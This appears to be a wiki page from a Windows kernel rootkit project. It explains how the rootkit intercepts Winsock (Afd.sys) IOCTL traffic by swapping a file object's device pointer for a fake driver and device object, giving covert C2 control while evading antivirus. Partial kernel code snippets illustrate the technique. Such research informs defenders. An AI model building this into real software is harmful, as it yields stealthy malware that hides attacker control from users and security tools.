-
Notifications
You must be signed in to change notification settings - Fork 143
Hooking IOCTL Communication via Hooking File Objects
One of the key features of the Spectre Rootkit is its ability to abuse legitimate network communications to receive instructions from a C2. Before we get into how the Spectre Rootkit uses this visibility, it's important to understand how this hooking is performed.
To begin, some background. A focus of my research was finding a "new" way to intercept network communication in a way that had not been done before. Networking relating to Winsock is handled by Afd.sys, otherwise known as the “Ancillary Function Driver for Winsock”. mswsock.dll
uses NtDeviceIoControlFile
in order to communicate with the Afd.sys
driver.
Let's talk a little bit about what happens in the background when an application calls NtDeviceIoControlFile
. Here is a very high-level overview.
For our purposes, IoGetRelatedDeviceObject
retrieves the DeviceObject
member of the FILE_OBJECT
structure:
typedef struct _FILE_OBJECT {
...
PDEVICE_OBJECT DeviceObject;
...
} FILE_OBJECT, *PFILE_OBJECT;
With the device object in hand, the kernel will attempt to dispatch the request via FastIo and otherwise with an Irp passed to IoCallDriver
. For IoCallDriver
, the kernel will determine what function to call by looking up the "Major Function Code" specified inside of the Irp within the MajorFunction
array in the DRIVER_OBJECT
structure.
typedef struct _DRIVER_OBJECT {
...
PDRIVER_DISPATCH MajorFunction[IRP_MJ_MAXIMUM_FUNCTION + 1];
} DRIVER_OBJECT, *PDRIVER_OBJECT;
One common way of hooking this form of communication is to replace an entry in the MajorFunction
array with a pointer to your own function. The problem? Driver objects are very easy to find and there will only be a handful loaded at a time. It would be trivial for an anti-virus solution to enumerate these driver objects and detect tampering. To clarify, there is nothing wrong with the method of replacing the MajorFunction
array entry, rather the problem lies with the fact that it is performed on a driver object.
The question I asked was, "What's stopping someone from overwriting the DeviceObject
pointer of the FILE_OBJECT
structure with their own device?". Well, it turns out, absolutely nothing!
What we can do is create our own fake driver/device object and then replace this DeviceObject
pointer with our own. We can intercept IOCTL communication by performing the previously mentioned hooking method for DRIVER_OBJECT
s, except we would apply the hook to our own driver object, instead of the driver object that can be easily found. Let's talk about how we go about doing this.
First, we need to actually obtain file objects for the Afd
device. We can achieve this through the use of the ZwQuerySystemInformation function, specifically using the SystemHandleInformation
information class to query every open handle on the system. This information class will return the following structure for each handle:
typedef struct _SYSTEM_HANDLE {
ULONG ProcessId;
BYTE ObjectTypeNumber;
BYTE Flags;
USHORT Handle;
PVOID Object;
ACCESS_MASK GrantedAccess;
} SYSTEM_HANDLE, *PSYSTEM_HANDLE;
With this information we can determine if a handle is for the Afd
device with the following steps:
- To determine if a handle is for a file object, we can compare the
ObjectTypeNumber
against the known file object type index. - Once we know that a handle is a file object, we can compare the
DeviceObject
member of theFILE_OBJECT
structure against the knownAfd
device (theAfd
device is the same across different file objects).
The Windows kernel uses the function ObCreateObject
to create objects such as the device/driver objects. Fortunately, the kernel exports this function presumably to allow other Windows drivers to create objects for themselves. We can use this function to make our own fake device/driver objects. Here is the relevant snippet of code from FileObjHook.cpp.
//
// Generate the object attributes for the fake driver object.
//
InitializeObjectAttributes(&fakeDriverAttributes,
&BaseDeviceObject->DriverObject->DriverName,
OBJ_PERMANENT | OBJ_CASE_INSENSITIVE | OBJ_KERNEL_HANDLE,
NULL,
NULL);
fakeDriverObjectSize = sizeof(DRIVER_OBJECT) + sizeof(EXTENDED_DRIVER_EXTENSION);
//
// Create the fake driver object.
//
status = ObCreateObject(KernelMode,
*IoDriverObjectType,
&fakeDriverAttributes,
KernelMode,
NULL,
fakeDriverObjectSize,
0,
0,
RCAST<PVOID*>(&fakeDriverObject));
...
//
// Generate the object attributes for the fake device object.
//
InitializeObjectAttributes(&fakeDeviceAttributes,
&realDeviceNameHeader->Name,
OBJ_KERNEL_HANDLE | OBJ_PERMANENT,
NULL,
BaseDeviceObject->SecurityDescriptor);
fakeDeviceObjectSize = sizeof(DEVICE_OBJECT) + sizeof(EXTENDED_DEVOBJ_EXTENSION);
...
//
// Create the fake device object.
//
status = ObCreateObject(KernelMode,
*IoDeviceObjectType,
&fakeDeviceAttributes,
KernelMode,
NULL,
fakeDeviceObjectSize,
0,
0,
RCAST<PVOID*>(&FileObjHook::FakeDeviceObject));
To hook our fake driver object, we can use the same trick I mentioned before and replace the MajorFunctions
array part of the DRIVER_OBJECT
structure to point to our hook functions. Keep in mind that this hooking is being performed on our copy of the driver object, not the actual driver object that can easily be found. The final step is to replace the DeviceObject
member of the FILE_OBJECT
with our own device.
Now the file object is hooked, any call to IoGetRelatedDeviceObject
will return our fake device which IoCallDriver
will use to call our patched MajorFunctions
array.